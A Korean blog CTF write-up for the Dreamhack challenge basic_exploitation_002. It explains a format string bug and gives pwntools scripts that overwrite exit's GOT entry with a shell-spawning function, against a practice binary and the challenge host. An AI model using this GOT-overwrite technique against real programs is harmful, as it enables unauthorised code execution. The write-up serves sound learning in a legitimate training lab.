서브웨이

dreamhack basic_exploitation_002 풀이 본문

Pwnable/dreamhack

dreamhack basic_exploitation_002 풀이

샌드위치메이커 2021. 7. 20. 14:40

문제를 보면 간단하게 포맷스트링버그를 사용하는 문제인 것 같습니다.

 

일단 소스코드를 봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

뭐 그냥 이전 문제들처럼 문자열이 하나 선언되어있고 read로 사용자에게 입력을 받고 출력을 해주는 문제입니다.

read를 썼으니 포맷스트링버그가 발생하겠네요.

 

포맷스트링버그에 대해선 아래 블로그를 참고하시면 됩니다.

https://kaspyx.tistory.com/74

 

포맷 스트링 버그(Format string bug) 취약점이란?

/* written by kaspy (kaspyx@gmail.com) */ 포맷 스트링 버그(Format String bug,이하 FSB)란 버퍼 오버플로우 해킹 기법의 한종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬수있는 취약점이다...

kaspyx.tistory.com

 

자 일단 문자열들이 어디에서 참조되는지 확인해봅시다.

첫번째 문자열은 첫번째에, 두번째 문자열은 두번째에 참조되는 것을 알 수 있습니다.

 

그럼 printf 함수 바로 뒤에 나오는 함수가 exit이니 exit의 got를 get_shell의 주소로 바꿔주면 될 것 같습니다.

한번 exit의 got와 get_shell의 주소를 알아봅시다.

간단하게 exit의 got는 0x804a024, get_shell의 주소는 0x8048609라는 것을 알 수 있습니다.

 

그럼 [exit의 got]%[get_shell의 주소 - 4]c%1$n 이니까

(-4를 해주는건 앞에 exit의 got 개수를 고려해서 계산해야하기 때문)

exit의 got는 \x24\xa0\x04\x08, get_shell의 주소 - 4는 134514181이고

최종적으로 \x24\xa0\x04\x08%134514181c%1$n 이렇게 입력을 해주면 됩니다.

근데 문제가 있습니다. 이렇게 하면 1억3천만개의 문자를 프린트해야하기 때문에 아마 시간제한에서 걸릴 가능성이 높습니다.

 

이러한 제약을 피하기 위해 get_shell의 주소를 두개로 쪼개서 넣어줍시다.

그럼 [exit의 got + 2][exit의 got]%[get_shell의 주소 앞 두자리 - 8]c%1$hn%[get_shell의 주소 뒷 두자리 - 8 - (get_shell의 주소 앞 두자리 - 8)]c%2$hn 이고

최종적으로 \x26\xa0\x04\x08\x24\xa0\x04\x08%2044c%1$hn%32261%2$hn이 됩니다.

 

이제 익스플로잇 코드를 짜봅시다.

from pwn import * 

p = process('./basic_exploitation_002')
exit = 0x804a024
 
payload = p32(exit+2) + p32(exit) + b'%2044c%1$hn%32261c%2$hn'
 
p.send(payload)
 
p.interactive()

 

사실 더 간단한 방법도 존재합니다.

pwntools의 ELF와 fmtstr 기능을 사용하면 됩니다.

from pwn import * 

context.arch = 'x86'

e = ELF('./basic_exploitation_002')
p = remote('host1.dreamhack.games', 14611)

exit = e.got['exit']
get_shell = e.symbols['get_shell']

p.sendline(fmtstr_payload(1, {exit: get_shell}))

p.interactive()

결과는 같습니다.

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack off_by_one_000 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
dreamhack basic_exploitation_001 풀이  (0) 2021.07.19
dreamhack basic_exploitation_000 풀이  (0) 2021.07.19
Comments